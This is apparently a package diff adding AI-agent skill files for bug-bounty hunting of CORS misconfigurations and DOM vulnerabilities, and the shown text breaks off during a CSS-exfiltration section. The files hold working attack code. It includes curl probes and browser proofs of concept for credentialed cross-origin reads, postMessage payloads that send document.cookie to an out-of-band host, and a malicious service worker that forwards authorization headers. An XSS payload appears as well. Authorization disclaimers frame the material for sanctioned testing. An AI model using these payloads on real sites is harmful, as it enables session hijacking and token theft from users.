  452. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  453. package/bundled-skills/service-mesh/SKILL.md +422 -0
  454. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  455. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  456. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  457. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  458. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  459. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  460. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  461. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  462. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  463. package/bundled-skills/systemd-services/SKILL.md +379 -0
  464. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  465. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  466. package/bundled-skills/terraform-azure/references/details.md +231 -0
  467. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  468. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  469. package/bundled-skills/user-management/SKILL.md +383 -0
  470. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  471. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  472. package/bundled-skills/vendor-management/SKILL.md +439 -0
  473. package/bundled-skills/vendor-management/references/details.md +109 -0
  474. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  475. package/bundled-skills/vllm-server/SKILL.md +236 -0
  476. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  477. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  478. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  479. package/bundled-skills/waf-setup/SKILL.md +354 -0
  480. package/bundled-skills/waf-setup/references/details.md +211 -0
  481. package/bundled-skills/web2-recon/SKILL.md +440 -0
  482. package/bundled-skills/web2-recon/references/details.md +319 -0
  483. package/bundled-skills/web3-audit/SKILL.md +445 -0
  484. package/bundled-skills/web3-audit/references/details.md +224 -0
  485. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  486. package/bundled-skills/windows-hardening/references/details.md +204 -0
  487. package/bundled-skills/windows-server/SKILL.md +318 -0
  488. package/bundled-skills/writing-guidelines/SKILL.md +60 -0
  489. package/bundled-skills/zero-trust/SKILL.md +461 -0
  490. package/package.json +1 -1
  491. package/skills_index.json +7874 -277
@@ -0,0 +1,335 @@
1
+ ---
2
+ name: hunt-cors
3
+ description: Hunt CORS Misconfiguration
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ report_count: 19
16
+ sources: hackerone_public
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
33
+
34
+ ## What actually pays (and what does not)
35
+
36
+ CORS pays High **only** when an attacker-controlled origin can perform a
37
+ **credentialed** cross-origin read of sensitive authenticated data, and you
38
+ have a browser PoC proving the response body is readable from `evil.com`.
39
+
40
+ Two hard browser rules that kill most "findings" — check these FIRST:
41
+
42
+ - **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**
43
+ If the server returns `ACAO: *`, the browser refuses to send/expose the
44
+ response for a `credentials: include` request. A wildcard-only endpoint is
45
+ **not** credential-exploitable. It is only interesting if the data it serves
46
+ is sensitive *without* a session (rare) — usually this is Informational/Low.
47
+ - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It
48
+ matters only if `ACAO` reflects/allows your specific attacker origin AND a
49
+ cross-origin credentialed `fetch` actually returns a readable body. ACAC on a
50
+ response that does not reflect your origin proves nothing.
51
+
52
+ If you cannot demonstrate a readable cross-origin authed body in a real
53
+ browser, you do not have a High. Do not submit header-diffing alone.
54
+
55
+ ---
56
+
57
+ ## Crown Jewel Targets
58
+
59
+ - **Reflect-any-origin + credentials** — server echoes the `Origin` header AND
60
+ sets `ACAC: true` → any site reads authed API responses. The classic High.
61
+ - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a
62
+ `data:`/redirect chain) emits `Origin: null`, so any page can read authed data.
63
+ - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The
64
+ correct payload depends on *which* flaw (see Phase 3 — this is where most
65
+ skills get it wrong).
66
+ - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS
67
+ policy trusts; take it over, host the PoC there (see hunt-subdomain).
68
+ - **postMessage missing/loose origin check** — handler that processes
69
+ `event.data` without strictly validating `event.origin`.
70
+
71
+ ---
72
+
73
+ ## Attack Surface Signals
74
+
75
+ ```
76
+ Any endpoint returning an Access-Control-Allow-Origin header
77
+ API endpoints: /api/*, /v1/*, /graphql
78
+ Profile/account: /api/me, /api/profile, /api/user, /api/session
79
+ Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
80
+ Financial: /api/balance, /api/transactions
81
+ Admin/internal: /api/admin/*, /api/internal/*
82
+ ```
83
+
84
+ Prioritize endpoints that (a) require a session cookie and (b) return PII,
85
+ tokens, CSRF tokens, or other secrets in the body.
86
+
87
+ ---
88
+
89
+ ## Step-by-Step Hunting Methodology
90
+
91
+ ### Phase 1 — Discover CORS endpoints
92
+ ```bash
93
+ # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
94
+ # and -I sends HEAD which may be handled differently.
95
+ while read url; do
96
+ result=$(curl -s -D - -o /dev/null "$url" \
97
+ -H "Origin: https://evil.com" \
98
+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
99
+ [ -n "$result" ] && echo "=== $url ===" && echo "$result"
100
+ done < recon/$TARGET/api-endpoints.txt
101
+
102
+ # httpx bulk check
103
+ cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
104
+ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
105
+ ```
106
+
107
+ ### Phase 2 — Reflect-any-origin + null origin
108
+ ```bash
109
+ # Does the server reflect an arbitrary Origin back?
110
+ curl -s -D - -o /dev/null https://$TARGET/api/me \
111
+ -H "Origin: https://evil.com" \
112
+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
113
+
114
+ # Vulnerable (the High case):
115
+ # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
116
+ # Access-Control-Allow-Credentials: true <- + credentials => readable
117
+ #
118
+ # NOT exploitable for credentialed theft:
119
+ # Access-Control-Allow-Origin: * <- browser blocks creds read
120
+ # (no ACAC, or ACAC absent) <- not credentialed
121
+
122
+ # Null-origin trust
123
+ curl -s -D - -o /dev/null https://$TARGET/api/me \
124
+ -H "Origin: null" \
125
+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
126
+ # Looking for: Access-Control-Allow-Origin: null + ACAC: true
127
+ ```
128
+
129
+ ### Phase 3 — Subdomain / trusted-origin regex bypass
130
+ The right payload depends on **which** regex flaw the server has. Identify the
131
+ class first, then send the matching payload. Getting this wrong wastes the test
132
+ and produces false negatives.
133
+
134
+ | Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |
135
+ |---|---|---|---|
136
+ | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |
137
+ | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |
138
+ | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |
139
+ | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |
140
+ | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |
141
+ | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
142
+
143
+ ```bash
144
+ # Send each class-specific payload and watch what the server reflects.
145
+ for ORIGIN in \
146
+ "https://evil.target.com" \
147
+ "https://eviltarget.com" \
148
+ "https://x.target.com.evil.com" \
149
+ "https://target.com.evil.com" \
150
+ "https://target.com%60.evil.com" \
151
+ "http://target.com"; do
152
+ RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
153
+ -H "Origin: $ORIGIN" \
154
+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
155
+ echo "[$ORIGIN] -> ${RESULT:-no CORS}"
156
+ done
157
+ ```
158
+ A bypass is real only if the server reflects **your registerable origin** into
159
+ `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless
160
+ you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
161
+
162
+ ### Phase 3b — Trusted insecure (HTTP) origin
163
+ If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.
164
+ ```bash
165
+ curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control
166
+ ```
167
+ Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
168
+
169
+ ### Phase 4 — Pre-flight (OPTIONS) gating bypass
170
+ Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple
171
+ `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends
172
+ the real request if the pre-flight response authorizes the method/header. Two
173
+ things to test:
174
+
175
+ 1. **Does the pre-flight authorize arbitrary methods/headers for your origin?**
176
+ If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect
177
+ whatever you ask for, a malicious origin can drive state-changing requests
178
+ (chain to CSRF-style writes that JSON/SameSite would otherwise block).
179
+
180
+ ```bash
181
+ curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
182
+ -H "Origin: https://evil.com" \
183
+ -H "Access-Control-Request-Method: PUT" \
184
+ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
185
+ | grep -i "access-control"
186
+ # Vulnerable: ACAO reflects evil.com + ACAC:true +
187
+ # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
188
+ # => attacker origin can issue authed PUT/DELETE with custom headers.
189
+ ```
190
+
191
+ 2. **Is the pre-flight even enforced server-side?** Some servers reflect the
192
+ origin on `OPTIONS` but the actual GET/POST also reflects — the read path is
193
+ the bug; the pre-flight just confirms write-path reach. Test the GET/POST
194
+ directly too — never assume the pre-flight result equals the real-request
195
+ result. Confirm in a browser, because curl ignores CORS entirely.
196
+
197
+ ### Phase 5 — Browser PoCs (the only thing that proves impact)
198
+ curl does NOT enforce CORS — it will happily show you a reflected header even
199
+ when a browser would block the read. **Every CORS High needs a browser PoC.**
200
+
201
+ **5a. Reflect-any-origin read** (host on evil.com, open while logged into target):
202
+ ```html
203
+ <!doctype html><body><pre id="out"></pre>
204
+ <script>
205
+ fetch("https://TARGET/api/me", {credentials: "include"})
206
+ .then(r => r.text())
207
+ .then(d => {
208
+ document.getElementById("out").innerText = d; // prove readable body
209
+ // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
210
+ })
211
+ .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
212
+ </script></body>
213
+ ```
214
+ If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a
215
+ valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
216
+
217
+ **5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner
218
+ document must lack `allow-same-origin` so its origin is opaque (`null`):
219
+ ```html
220
+ <!doctype html><body>
221
+ <!-- Outer page hosted anywhere -->
222
+ <iframe sandbox="allow-scripts" srcdoc='
223
+ <script>
224
+ fetch("https://TARGET/api/me", {credentials: "include"})
225
+ .then(r => r.text())
226
+ .then(d => parent.postMessage(d, "*"));
227
+ &lt;/script&gt;'></iframe>
228
+ <script>
229
+ window.addEventListener("message", e => {
230
+ // d is the authed body, read cross-origin via a null Origin
231
+ // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
232
+ console.log("NULL-ORIGIN READ:", e.data);
233
+ });
234
+ </script></body>
235
+ ```
236
+ (Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the
237
+ request through a 302 redirect chain whose final hop is cross-scheme.)
238
+
239
+ **5c. Trusted-subdomain read** — once you control a host that the regex trusts
240
+ (real subdomain via takeover, or a registerable origin that matches a buggy
241
+ regex from Phase 3), host **5a** there. The reflected origin is now an origin
242
+ you legitimately serve, so the browser allows the read.
243
+
244
+ ### Phase 6 — postMessage origin check
245
+ ```bash
246
+ # Find message handlers that don't strictly validate event.origin.
247
+ grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
248
+ | grep -v "\.origin"
249
+ # Then audit each hit: does it check event.origin against an allowlist
250
+ # BEFORE using event.data? Weak checks to flag:
251
+ # .indexOf("target.com") > -1 <- "target.com.evil.com" passes
252
+ # .endsWith("target.com") <- "eviltarget.com" passes
253
+ # startsWith("https://target") <- "https://target.evil.com" passes
254
+ # no check at all
255
+ ```
256
+ postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,
257
+ client-side auth bypass). See hunt-dom for exploitation depth.
258
+
259
+ ---
260
+
261
+ ## Automation (triage only — never the proof)
262
+ ```bash
263
+ # corsy — fast reflection/null/pre-domain checks
264
+ pip3 install corsy
265
+ corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
266
+
267
+ # nuclei CORS templates
268
+ nuclei -u https://$TARGET -t http/misconfiguration/cors/
269
+
270
+ # Burp: passively flags origin reflection; always re-confirm in a real browser.
271
+ ```
272
+ Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.
273
+
274
+ ---
275
+
276
+ ## Chain Table
277
+
278
+ | CORS finding | Chain to | Impact |
279
+ |---|---|---|
280
+ | Reflects attacker origin + creds | Browser-read `/api/me`, `/api/tokens`, `/api/csrf` | PII + token + CSRF-token theft → often ATO |
281
+ | Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |
282
+ | Pre-flight allows arbitrary method/header | Drive authed `PUT`/`DELETE` from evil origin | Cross-origin state change |
283
+ | Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |
284
+ | Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |
285
+ | postMessage no/loose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS / client auth bypass |
286
+
287
+ ---
288
+
289
+ ## Validation discipline (read before submitting)
290
+
291
+ - **Browser proof mandatory.** curl reflecting a header is NOT exploitation.
292
+ Show a screenshot/console log of the authed body read from `evil.com`. If the
293
+ fetch throws / logs `BLOCKED`, you have nothing.
294
+ - **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue
295
+ wildcard if the data is sensitive unauthenticated (then it is usually Low).
296
+ - **`ACAC: true` alone proves nothing** — it must pair with your reflected
297
+ origin AND a successful readable cross-origin body.
298
+ - **Match the regex class to the payload (Phase 3).** Do not submit
299
+ `target.com.evil.com` against an end-anchored escaped-dot regex — it does not
300
+ match and is not a bug.
301
+ - **`evil.target.com` reflecting is not automatically a bug** — it is an
302
+ in-scope subdomain by design unless you can actually control it.
303
+ - **OOB confirmation** for blind/headless contexts: exfil the read body to a
304
+ Burp Collaborator / oastify host and show the interaction. Use a unique
305
+ per-test marker so the hit is unambiguously yours.
306
+ - **Sensitive data requirement.** A readable `/api/health` is not High. Tie the
307
+ read to PII, tokens, secrets, or financial data to justify severity.
308
+
309
+ **Severity:**
310
+ - Reflects attacker origin + creds + sensitive body, browser-proven: High
311
+ - Pre-flight authorizes attacker-origin state change on sensitive action: High
312
+ - Null-origin + sensitive authed body, browser-proven: Medium–High
313
+ - Subdomain-takeover/XSS-assisted credentialed read: High/Critical
314
+ - Reflects origin, no credentials / non-sensitive: Low–Informational
315
+ - `ACAO: *` only (no creds possible): Informational unless data is secret
316
+
317
+ ## When to Use
318
+
319
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
320
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
321
+
322
+ ## Limitations
323
+
324
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
325
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
326
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
327
+
328
+ ### Example
329
+
330
+ ```bash
331
+ # Read-only first step; confirm scope before anything active.
332
+ cat scope.txt # target list from the authorized engagement brief
333
+ ```
334
+
335
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
@@ -0,0 +1,323 @@
1
+ ---
2
+ name: hunt-dom
3
+ description: Hunt client-side DOM vulnerabilities
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: portswigger_research, hackerone_public, github_security_advisories
16
+ report_count: 14
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
33
+
34
+ ## Crown Jewel Targets
35
+
36
+ DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
37
+
38
+ **Highest-value chains:**
39
+ - **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
40
+ - **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.
41
+ - **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.
42
+ - **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
43
+
44
+ ### Grounding — public research this is distilled from
45
+ - **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
46
+ - **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
47
+ - **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
48
+ - **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint).
49
+ > Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
50
+
51
+ ---
52
+
53
+ ## Attack Surface Signals
54
+
55
+ ```
56
+ # Injection points that allow MARKUP but may strip <script>:
57
+ user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
58
+
59
+ # postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
60
+ */sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
61
+
62
+ # Service worker presence:
63
+ /sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
64
+
65
+ # CSS injection points:
66
+ ?theme= custom-css profile field email-template editor style= passthrough
67
+ ```
68
+
69
+ ---
70
+
71
+ ## Phase 1 — DOM Clobbering
72
+
73
+ ```bash
74
+ # Signal: app reads element IDs/names as if they were JS objects, OR feeds a
75
+ # clobberable global into a sink (location, innerHTML, eval, script.src).
76
+ # Inject MARKUP (no script) at a sink that lets named/id'd elements through.
77
+
78
+ # Single-level clobber of window.config:
79
+ # <a id="config" href="https://evil.com">
80
+ # Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
81
+ # <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
82
+ # Clobber a string-coerced URL value (anchor toString() == href):
83
+ # <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
84
+ # Nested window.a.b.c via form/inputs:
85
+ # <form id="a"><input id="b" name="c" value="clobbered"></form>
86
+ # baseURI / relative-URL hijack:
87
+ # <base href="https://evil.com/"> # bends every relative src/href
88
+ ```
89
+
90
+ ```javascript
91
+ // Browser console: find globals that are clobberable AND reach a sink.
92
+ // A var only matters if the app later concatenates it into a URL/HTML/eval.
93
+ const susp = ['config','settings','options','appConfig','init','data','user',
94
+ 'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
95
+ susp.forEach(k => {
96
+ const v = window[k];
97
+ // HTMLCollection / element => already clobbered or clobberable namespace
98
+ if (v && (v instanceof Element || v instanceof HTMLCollection))
99
+ console.log('[CLOBBERED/NAMESPACE]', k, v);
100
+ else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
101
+ });
102
+ ```
103
+
104
+ ```bash
105
+ # Source review: find globals fed into sinks (this is what makes clobbering exploitable)
106
+ curl -s "https://$TARGET/" | grep -nE \
107
+ "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
108
+ location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
109
+ # DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
110
+ ```
111
+
112
+ **jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.
113
+
114
+ ---
115
+
116
+ ## Phase 2 — PostMessage Hijacking
117
+
118
+ Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them.
119
+
120
+ ```bash
121
+ # Find handlers and flag the ones with NO origin check
122
+ grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
123
+ | grep -vE "\.origin\b"
124
+ # Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
125
+ # Senders that leak: grep for postMessage(<secret>, '*')
126
+ grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
127
+ ```
128
+
129
+ ```html
130
+ <!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
131
+ <!-- Host on attacker.com; frames target and pushes a privileged message -->
132
+ <iframe id="f" src="https://TARGET/page-with-listener"></iframe>
133
+ <script>
134
+ document.getElementById('f').onload = () => {
135
+ const w = document.getElementById('f').contentWindow;
136
+ // Shape the payload to whatever the handler routes into a sink:
137
+ w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
138
+ w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
139
+ };
140
+ </script>
141
+ ```
142
+
143
+ ```html
144
+ <!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
145
+ <iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
146
+ <pre id="out"></pre>
147
+ <script>
148
+ addEventListener('message', e => {
149
+ // Only count it if e.origin is the TARGET and data carries a secret
150
+ out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
151
+ if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
152
+ fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
153
+ });
154
+ </script>
155
+ ```
156
+
157
+ > False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
158
+
159
+ ---
160
+
161
+ ### PostMessage handler race — win the message before origin is set
162
+ Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.
163
+
164
+ ## Phase 3 — Service Worker Abuse
165
+
166
+ **Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live.
167
+
168
+ So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS.
169
+
170
+ ```bash
171
+ # Enumerate existing SW + its scope
172
+ curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
173
+ for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
174
+ curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
175
+ curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
176
+ # Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
177
+ # curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
178
+ ```
179
+
180
+ ```javascript
181
+ // Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
182
+ // served by the target). scope must be <= the directory the script is served from
183
+ // unless the response carries Service-Worker-Allowed.
184
+ navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
185
+ .then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
186
+ .catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
187
+
188
+ // evil-sw.js (served from the TARGET origin):
189
+ self.addEventListener('fetch', e => {
190
+ e.respondWith(fetch(e.request.clone()).then(async resp => {
191
+ // Exfil URL + any auth header the page attaches, to OOB
192
+ fetch('https://OOB/sw-intercept', {method:'POST',
193
+ body: JSON.stringify({url: e.request.url,
194
+ auth: e.request.headers.get('authorization')})});
195
+ return resp;
196
+ }));
197
+ });
198
+ ```
199
+
200
+ > Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
201
+
202
+ ---
203
+
204
+ ## Phase 4 — CSS Injection / Exfiltration
205
+
206
+ ```bash
207
+ # Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
208
+ # template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
209
